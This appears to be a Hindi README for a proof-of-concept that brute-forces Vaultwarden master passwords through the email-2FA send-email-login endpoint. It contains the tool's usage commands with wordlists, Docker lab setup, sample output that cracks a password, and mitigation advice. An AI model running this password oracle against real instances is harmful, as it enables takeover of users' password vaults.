
CVE-2026-43914 के लिए PoC: Vaultwarden <1.35.4 email-2FA ब्रूट-फोर्स बायपास पासवर्ड ओरेकल। Stdlib-only Python।
CVE-2026-43914 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: जब ईमेल 2FA सक्षम होता है, तो Vaultwarden की लॉगिन ब्रूट-फोर्स सुरक्षा को बिना प्रमाणीकरण वाले POST /api/two-factor/send-email-login एंडपॉइंट के माध्यम से पूरी तरह से बायपास किया जा सकता है, जो एक असीमित मास्टर-पासवर्ड ओरेकल के रूप में कार्य करता है।
प्रभावित: Vaultwarden < 1.35.4
Vaultwarden सबसे लोकप्रिय सेल्फ-होस्टेड Bitwarden-संगत पासवर्ड मैनेजर है। एडमिन ईमेल 2FA को यह मानकर सक्षम करते हैं कि यह पासवर्ड अनुमान लगाने को रोकता है — लेकिन यह एंडपॉइंट मास्टर पासवर्ड हैश को सत्यापित करता है और सही/गलत अनुमानों के लिए एक अलग HTTP स्थिति लौटाता है किसी भी दर सीमा या खाता लॉकआउट लागू होने से पहले:
| प्रतिक्रिया | अर्थ |
|---|---|
200 | पासवर्ड सही (OTP ईमेल भेजा गया) |
400 "Username or password is incorrect" | पासवर्ड गलत |
एक हमलावर जो पीड़ित का ईमेल जानता है (या अनुमान लगाता है) वह बिना किसी थ्रॉटलिंग के पूरी गति से मास्टर पासवर्ड ब्रूट-फोर्स कर सकता है। ईमेल 2FA इसे नहीं रोकता है।
src/api/core/two_factor/email.rs में, send_email_login हैंडलर पासवर्ड की जाँच करता है और बेमेल होने पर जल्दी लौट जाता है — लेकिन यह रूट उस ब्रूट-फोर्स/सीमित मिडलवेयर के साथ पंजीकृत नहीं है जो /identity/connect/token की सुरक्षा करता है। प्रत्येक कॉल:
check_valid_password(master_password_hash) की तुलना करता है →
बेमेल पर err!("Username or password is incorrect") (HTTP 400),python3 vw_bf_poc.py --host localhost --port 8222 \
--email [email protected] \
--passwords "summer2024,Qwerty123!,CorrectHorse123!"
# or a wordlist:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt
केवल Python 3 stdlib।
# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
-e I_REALLY_WANT_VOLATILE_STORAGE=true \
-e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
-e [email protected] -e DOMAIN=http://localhost:8222 \
vaultwarden/server:1.35.3
एक परीक्षण उपयोगकर्ता बनाएँ (कोई भी Bitwarden क्लाइंट या API), ईमेल 2FA सक्षम करें (सेटिंग्स → टू-स्टेप लॉगिन → ईमेल), फिर इसके विरुद्ध PoC चलाएँ।
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle
[0001] 400 - wrong1
[0002] 400 - wrong2
[0003] 200 HIT! CorrectHorse123!
=> PASS: master password FOUND = 'CorrectHorse123!' (1.4s, no rate limit hit)
Vaultwarden 1.35.4+ में अपग्रेड करें। तब तक: TOTP/WebAuthn के पक्ष में ईमेल 2FA अक्षम करें, और इंस्टेंस को /api/two-factor/* पर प्रति-IP दर सीमा के साथ एक रिवर्स प्रॉक्सी के पीछे रखें।
केवल अधिकृत सुरक्षा अनुसंधान और प्रयोगशाला उपयोग के लिए।